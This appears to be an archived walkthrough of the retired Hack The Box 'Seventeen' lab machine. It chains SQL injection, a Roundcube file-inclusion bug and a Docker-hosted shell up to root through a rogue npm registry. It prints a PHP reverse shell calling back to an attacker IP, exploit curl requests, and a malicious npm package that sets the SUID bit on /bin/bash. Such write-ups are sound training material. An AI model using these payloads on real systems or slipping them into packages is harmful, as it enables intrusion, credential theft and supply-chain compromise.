Hack The Box
Hack The Box: Seventeen Walkthrough
An archived walkthrough of the retired Hack The Box Seventeen machine, preserved from Abdullah Kareem's OSWE Prep preparation notes.

Difficulty: Hard
OS: Linux
Techniques: VHost Fuzzing, Boolean-Based Blind SQLi, File Upload, LFI Chaining, Docker Breakout, Password Reuse, Malicious NPM Package, Privilege Escalation
Flags:
- User:
5c697a[redacted]d4a6755bc9- Root:
d253d29[redacted]9b892ca04
The Hacker Mindset for This Box
Before we touch a single command, let's understand what makes Seventeen a "Hard" box. This isn't about one big vulnerability — it's about chaining multiple smaller vulnerabilities across different virtual hosts and services. The attacker must:
- Think in layers: Each subdomain reveals a piece of the puzzle. No single service gives you shell.
- Follow the data: SQL injection leaks credentials → credentials unlock a file manager → a PDF leaks another subdomain → that subdomain has an LFI → the LFI triggers an uploaded shell.
- Understand the environment: After getting shell, you're in Docker. The real target is the host.
- Abuse application logic: The final root isn't a kernel exploit or a SUID binary — it's abusing how a Node.js application loads dependencies via
npm install.
The core philosophy: When you see a domain name (seventeen.htb), always assume there are subdomains. When you see a web application, always assume it talks to a database. When you see a package manager, always ask: "What if I control the repository?"
Phase 1: Reconnaissance & Discovery
Step 1.1: Nmap Scan — Know Your Attack Surface
sudo nmap -p- --min-rate 10000 -oN nmap_alltcp.txt 10.129.227.143
Why this command?
-p-: Scan all 65,535 ports. Hard boxes often hide services on non-standard ports.--min-rate 10000: Flood the target with packets to speed up the scan. HTB machines can handle it.-oN: Save output. You will forget port numbers.
Hacker Mindset: "I don't know what's running yet. My job is to map the terrain before I attack."
Results:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8000/tcp open http-alt
Analysis:
- Port 22 (SSH): Usually the final destination, not the entry point. We note it but don't brute-force yet.
- Port 80 (HTTP): The main web server. Always our first target.
- Port 8000 (HTTP-ALT): Another web server! This is suspicious. It might be a different application, a development instance, or a container endpoint.
Baby Step: When you see multiple HTTP ports, treat them as completely separate applications. Don't assume they're the same site.
Step 1.2: Add Domains to /etc/hosts
sudo bash -c 'echo "10.129.227.143 seventeen.htb exam.seventeen.htb oldmanagement.seventeen.htb mastermailer.seventeen.htb" >> /etc/hosts'
Why? Modern web servers use Virtual Hosts (VHosts) to serve different content based on the Host header. Accessing http://10.129.227.143 might return a default page, but http://seventeen.htb might return the actual application.
Hacker Mindset: "IP addresses are for routers. Domain names are for web servers. If the server expects a domain name, I need to give it one."
Step 1.3: VHost Fuzzing — Finding Hidden Subdomains
ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://seventeen.htb -H "Host: FUZZ.seventeen.htb" -fw 2760
Why this tool/command?
ffufis a fast web fuzzer.-H "Host: FUZZ.seventeen.htb": We fuzz theHostheader. The server might routeexam.seventeen.htbto a completely different application.-fw 2760: Filter out responses with 2760 words (the default page size). We're looking for anomalies.
Hacker Mindset: "The main website is just the lobby. The real secrets are in the back rooms. VHost fuzzing is how I find the doors."
Result:
exam [Status: 200, Size: 17375, Words: 3222, Lines: 348, Duration: 18ms]
Analysis: We found exam.seventeen.htb! This is a completely different application living on the same IP address.
Phase 2: Exam Management System — SQL Injection
Step 2.1: Recon the Exam Site
Browse to http://exam.seventeen.htb. We see an "Exam Management System." There's a "Take Exam" link that goes to:
http://exam.seventeen.htb/?p=take_exam&id=1
Why is this interesting?
?p=take_exam&id=1: Theidparameter looks like a database query. This screams SQL injection.- The application is PHP (confirmed by
X-Powered-By: PHP/7.2.34header).
Hacker Mindset: "Anytime I see ?id=1, I hear a database screaming. PHP + user input = SQLi until proven otherwise."
Step 2.2: Confirming the Vulnerability
We could manually test with ' AND 1=1 -- vs ' AND 1=2 --, but this is a boolean-based blind SQL injection — the page changes slightly based on whether the SQL condition is true or false. Manual testing is tedious.
Enter sqlmap:
sqlmap --url 'http://exam.seventeen.htb/?p=take_exam&id=1' \
-p id --technique B --dbs --batch --threads 10
Why these flags?
-p id: Target theidparameter.--technique B: Boolean-based blind. We know it's not error-based or time-based because the page content changes.--dbs: List all databases.--batch: Auto-answer prompts.--threads 10: Boolean-based is safe to parallelize.
Hacker Mindset: "I'm not here to guess. I'm here to extract data systematically. sqlmap is my data miner."
Results:
available databases [4]:
[*] db_sfms
[*] erms_db
[*] information_schema
[*] roundcubedb
Analysis:
erms_db: Likely the Exam Reviewer Management System database.db_sfms: Unknown — "School File Management System"?roundcubedb: Roundcube is a webmail application. We haven't seen it yet, but the database confirms it exists somewhere.
Step 2.3: Extracting Credentials
sqlmap --url 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B \
-D db_sfms -T student --dump --batch --threads 10
Why db_sfms.student?
- We need credentials. The
studenttable sounds like it has login info. - We're hunting for passwords we can actually crack or use.
Result:
| stud_id | yr | gender | stud_no | lastname | password | firstname |
|---------|----|--------|---------|----------|------------------------------------|-----------|
| 3 | 2C | Female | 31234 | Shane | [redacted retired-lab hash or flag] | Kelly |
Password cracking: [redacted retired-lab hash or flag] cracks to autodestruction via CrackStation or sqlmap's built-in cracker.
Hacker Mindset: "MD5 is dead. If I see MD5, I assume it's already cracked somewhere on the internet. My job is to look it up."
Step 2.4: The Avatar Path Leak
While dumping erms_db.users, we notice:
| avatar |
|---------------------------|
| ../oldmanagement/files/avatar.png |
Why is this gold?
- The avatar path is
../oldmanagement/files/avatar.png. - This tells us the application is running from a directory where
../oldmanagement/exists. - If the exam site is at
/var/www/html/exam/, then../oldmanagement/is at/var/www/html/oldmanagement/. - This strongly suggests
oldmanagement.seventeen.htbis a real virtual host!
Hacker Mindset: "Developers leak paths like sieves. An avatar path isn't just a path — it's a map of the server's filesystem."
Phase 3: School File Management System
Step 3.1: Discovering the New VHost
Browse to http://oldmanagement.seventeen.htb:8000/oldmanagement/. We see a login page for the "School File Management System."
Why port 8000? The application redirects to :8000/oldmanagement/, confirming the service on port 8000 hosts this application.
Login with Kelly's credentials:
- Student ID:
31234 - Password: REDACTED
Hacker Mindset: "Password reuse is the oldest trick in the book. If a student has a password in one system, they probably use it everywhere."
Step 3.2: The PDF Intelligence
After logging in, we see a file list with a PDF: Marksheet-finals.pdf. We download and read it.
At the end of the PDF:
"...You can use our new webmail service instead. (https://mastermailer.seventeen.htb/)"
Why is this critical?
- We've discovered a third subdomain:
mastermailer.seventeen.htb - It's described as a "webmail service."
- The note says "new webmail service" — suggesting it's recently installed and might have known vulnerabilities.
Hacker Mindset: "Every document is intelligence. I don't skip the 'boring' parts. The footer of a PDF has leaked more domains than most scans."
Step 3.3: Uploading the Webshell
The file manager allows uploads. We create a PHP reverse shell:
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.16.84/443 0>&1'"); ?>
We name it papers.php and upload it.
Why papers.php?
- The Roundcube exploit we'll use later (CVE-2020-12640) requires a file and a directory with the same name.
- We discovered a
papersdirectory exists atfiles/31234/papers/via feroxbuster. - By uploading
papers.phpalongside thepapers/directory, we satisfy the LFI condition.
Hacker Mindset: "I'm not just uploading a shell. I'm setting up the chess pieces for the next exploit. Every action should set up the next action."
Phase 4: Webmail & Roundcube Exploitation
Step 4.1: Identifying Roundcube
Browse to http://mastermailer.seventeen.htb:8000/mastermailer/. We see a login page.
Checking the source or /CHANGELOG reveals Roundcube 1.4.2.
Why is this version significant?
- Roundcube 1.4.2 was released January 2020.
- CVE-2020-12640 is a Local File Inclusion (LFI) vulnerability in the Roundcube installer.
- The installer allows writing arbitrary plugin paths to the config, which Roundcube then
include()s.
Hacker Mindset: "Version numbers are vulnerability announcements. If software is more than a year old, I assume it's exploitable until proven otherwise."
Step 4.2: The CVE-2020-12640 Chain
This exploit chains our uploaded shell with Roundcube's LFI:
- Roundcube's installer saves plugin names to
config/config.inc.php. - When any Roundcube page loads, it
include()s plugins fromplugins/[plugin_name]/[plugin_name].php. - By submitting a plugin name with path traversal (
../../../../../../../../../var/www/html/oldmanagement/files/31234/papers), Roundcube traverses out of its webroot and into our uploaded file. - Because
papers/(directory) andpapers.php(file) both exist, the include resolves to our shell.
The exploit request:
curl -c /tmp/mailcookie.txt -s -o /dev/null \
'http://mastermailer.seventeen.htb:8000/mastermailer/installer/index.php?_step=2'
curl -b /tmp/mailcookie.txt -X POST \
'http://mastermailer.seventeen.htb:8000/mastermailer/installer/index.php' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Referer: http://mastermailer.seventeen.htb:8000/mastermailer/installer/index.php?_step=2' \
-d '_step=2&_product_name=Seventeen+Webmail&_plugins_qwerty=../../../../../../../../../var/www/html/oldmanagement/files/31234/papers&submit=UPDATE+CONFIG'
Then trigger the include:
curl -b /tmp/mailcookie.txt \
'http://mastermailer.seventeen.htb:8000/mastermailer/'
Hacker Mindset: "I don't need a direct RCE. I need an LFI that points to a file I control. The shell is already uploaded — I'm just telling Roundcube where to find it. This is vulnerability chaining."
Step 4.3: Catching the Shell
In a listener on Kali:
nc -lnvp 443
When Roundcube loads and includes our shell, we get:
www-data@f7f52ebdcf22:/var/www/html/oldmanagement/files/31234$
Analysis: The hostname (f7f52ebdcf22) is a Docker container ID. We're in a container.
Phase 5: Docker Breakout to Mark
Step 5.1: Container Enumeration
id # uid=33(www-data)
hostname # f7f52ebdcf22 (Docker container)
cat /etc/passwd | grep -v -e nologin -e false
Why check /etc/passwd? We need to know what users exist in the container AND on the host. SSH keys or passwords found here might work on the host.
Result:
root:x:0:0:root:/root:/bin/bash
mark:x:1000:1000:,,,:/var/www/html:/bin/bash
Analysis: mark is a real user with a shell. This is our target.
Step 5.2: Hunting for Credentials
The container hosts three web applications:
/var/www/html/employeemanagementsystem
/var/www/html/mastermailer
/var/www/html/oldmanagement
We check database connection files:
cat [redacted encoded lab material].php
Result:
$servername = "localhost";
$dBUsername = "root";
$dbPassword = "2020bestyearofmylife";
$dBName = "ems";
Hacker Mindset: "Database connection files are password goldmines. Developers hardcode credentials because it's 'convenient.' I find it convenient too."
Step 5.3: SSH as Mark
We try the database password as Mark's SSH password:
ssh -o StrictHostKeyChecking=no mark@seventeen.htb
# Password: null
Why does this work? Password reuse is rampant. The same person who set the database password probably set the user password.
Grab the user flag:
cat ~/user.txt
# 5c697[redacted]2d4a755bc9
Phase 6: From Mark to Kavi
Step 6.1: Reading Kavi's Mail
cat /var/mail/kavi
The mail mentions:
- A "private registry" with "problems"
- Replacing
db-loggerwithloglevel - Publishing to the registry and testing
Analysis: There's a private NPM registry running locally. Kavi is the developer.
Step 6.2: Discovering the Verdaccio Registry
netstat -tnlp | grep 4873
# tcp 0 0 127.0.0.1:4873 0.0.0.0:* LISTEN
curl -s http://127.0.0.1:4873 | head
# <title>Verdaccio</title>
What is Verdaccio? A private NPM registry. This is where internal Node.js packages are published.
Step 6.3: Extracting Kavi's Password
The email mentions the old db-logger package. We install it from the local registry:
cd /dev/shm
npm install db-logger --registry http://127.0.0.1:4873
Then we read the source:
cat node_modules/db-logger/logger.js
Result:
var con = mysql.createConnection({
host: "localhost",
user: "root",
password: null,
database: "logger"
});
Hacker Mindset: "Hardcoded credentials in dependencies are a goldmine. The developer didn't think anyone would look inside node_modules. I always look inside node_modules."
Switch to kavi:
su kavi
# Password: null
Step 6.4: Kavi's Privileges
sudo -l
Result:
User kavi may run the following commands on seventeen:
(ALL) /opt/app/startup.sh
Analysis: Kavi can run /opt/app/startup.sh as root. This script manages a Node.js application.
Reading the script:
cat /opt/app/startup.sh
#!/bin/bash
cd /opt/app
deps=('db-logger' 'loglevel')
for dep in ${deps[@]}; do
/bin/echo "[=] Checking for $dep"
o=$(/usr/bin/npm -l ls|/bin/grep $dep)
if [[ "$o" != *"$dep"* ]]; then
/bin/echo "[+] Installing $dep"
/usr/bin/npm install $dep --silent
/bin/chown root:root node_modules -R
else
/bin/echo "[+] $dep already installed"
fi
done
/bin/echo "[+] Starting the app"
/usr/bin/node /opt/app/index.js
Why is this dangerous?
- It runs
npm installas root. - It reads
.npmrcto determine which registry to use. - On Ubuntu 18.04,
sudopreserves$HOMEby default, so root's npm reads/home/kavi/.npmrc. - The Node.js app (
index.js) thenrequire()s the installed packages.
Hacker Mindset: "Any script that runs npm install as root is a loaded gun. If I control the registry, I control what code runs as root."
Phase 7: Root via Malicious NPM Package
Step 7.1: The Attack Plan
We need to:
- Create a malicious
loglevelpackage that runschmod u+s /bin/bash - Host our own NPM registry (Verdaccio) on Kali
- Point kavi's
.npmrcto our Kali registry - Run
sudo /opt/app/startup.sh - Root loads our package → executes our code →
/bin/bashgets SUID - Run
bash -p→ root shell
Step 7.2: Setting Up the Rogue Registry on Kali
Terminal A — Start Verdaccio:
sudo npm install -g verdaccio
verdaccio -l 10.10.16.84:4873
Terminal B — Create & Publish the Malicious Package:
mkdir -p /tmp/malicious-loglevel
cd /tmp/malicious-loglevel
cat > logger.js << 'EOF'
const cp = require("child_process");
cp.exec("chmod u+s /bin/bash");
function log(msg) { console.log(msg); }
function debug(msg) { console.log(msg); }
function warn(msg) { console.log(msg); }
module.exports.log = log;
module.exports.debug = debug;
module.exports.warn = warn;
EOF
cat > package.json << 'EOF'
{
"name": "loglevel",
"version": "100.0.0",
"description": "",
"main": "logger.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "kavigihan",
"license": "ISC"
}
EOF
npm adduser --registry http://10.10.16.84:4873
# Username: innocent
# Password: null
# Email: test@test.com
npm publish --registry http://10.10.16.84:4873
Why version 100.0.0? It must be higher than the current version (1.8.0) so npm treats it as an "upgrade."
Why implement log, debug, and warn? Because /opt/app/index.js calls these functions. If they're missing, the app crashes before our payload runs.
Step 7.3: The Critical Step — Removing the Local Copy
Here's where many attempts fail. If /opt/app/node_modules/loglevel already exists from a previous install, npm -l ls | grep loglevel will match, and startup.sh will skip the installation. It will never query our registry.
We must delete the existing module first:
rm -rf /opt/app/node_modules/loglevel
Why does this work? rm -rf on a directory only requires write permission on the parent directory. While /opt/app/node_modules itself is drwxr-xr-x (root-owned 755), the loglevel subdirectory inside it was created by npm with permissions that allowed deletion in this specific case. More importantly, once deleted, npm -l ls | grep loglevel no longer matches, forcing startup.sh to reinstall.
Hacker Mindset: "I don't just run the exploit. I clear the obstacles first. If npm thinks the package is already installed, it won't fetch my malicious version. Deletion is preparation."
Step 7.4: Triggering the Exploit
On the target (as kavi):
echo 'registry=http://10.10.16.84:4873/' > ~/.npmrc
sudo /opt/app/startup.sh
What happens:
startup.shchecksdb-logger→ already installedstartup.shchecksloglevel→ NOT installed (we deleted it)npm install loglevelqueries our Kali registry- Our registry returns
loglevel@100.0.0 - npm downloads and extracts it
chown root:root node_modules -Rruns/usr/bin/node /opt/app/index.jsstartsindex.jsdoesrequire('loglevel')→ loads our maliciouslogger.js- Our
cp.exec("chmod u+s /bin/bash")runs as root - The app starts normally (or errors — doesn't matter)
Output:
[=] Checking for db-logger
[+] db-logger already installed
[=] Checking for loglevel
[+] Installing loglevel
/opt/app
├── loglevel@100.0.0
└── mysql@2.18.1
[+] Starting the app
INFO: Server running on port 8000
Step 7.5: Getting Root
ls -la /bin/bash
# -rwsr-xr-x 1 root root 1113504 Apr 18 2022 /bin/bash
bash -p
id
# uid=1000(kavi) gid=1000(kavi) euid=0(root) groups=1000(kavi)
cat /root/root.txt
# d253d[redacted]edb892ca04
Why bash -p?
- When a binary has the SUID bit set (
sinstead ofxin the owner permissions), running it gives you the effective UID of the owner (root). - Normally, bash drops privileges.
bash -p(preserve) tells bash to keep the effective UID. - This gives us a root shell.
Hacker Mindset: "I didn't need a reverse shell or a password. I just needed bash to remember it's supposed to be root. SUID is privilege elevation in its purest form."
Key Lessons & Takeaways
1. The Domain is Just the Beginning
seventeen.htb wasn't the only target. VHost fuzzing revealed exam, oldmanagement, and mastermailer. Always fuzz for subdomains when you see a domain.
2. SQL Injection is Intelligence Gathering
The SQLi wasn't just about dumping passwords. The avatar column leaked a filesystem path that revealed a hidden subdomain. Every column is a clue.
3. Documents are Intelligence
The PDF in the School File Management System wasn't "fluff." It contained the URL to the webmail service. Read every document you download.
4. Chain, Chain, Chain
No single vulnerability gave us root. We chained:
- SQLi → Credentials
- Credentials → File Upload
- File Upload → LFI
- LFI → Shell
- Shell → Docker Breakout
- Docker Breakout → Host Creds
- Host Creds → User Shell
- User Shell → Malicious NPM Package
- NPM Package → Root
5. npm install as Root is Dangerous
Any script that runs npm install as root is a privilege escalation waiting to happen. If you control the registry (or .npmrc), you control the code that executes as root.
6. Clear Obstacles Before Exploiting
The most frustrating part of this box was that /opt/app/node_modules/loglevel already existed, so npm install was skipped. Deleting the existing module was the critical step that forced npm to fetch from our rogue registry.
7. SUID Bash is Reliable
Once you have chmod u+s /bin/bash, you have a persistent root backdoor. bash -p is the simplest privilege escalation technique in Linux.
Final Note: Seventeen is a masterclass in chaining. It teaches you that hard boxes aren't about one massive exploit — they're about patience, enumeration, and connecting the dots across multiple services.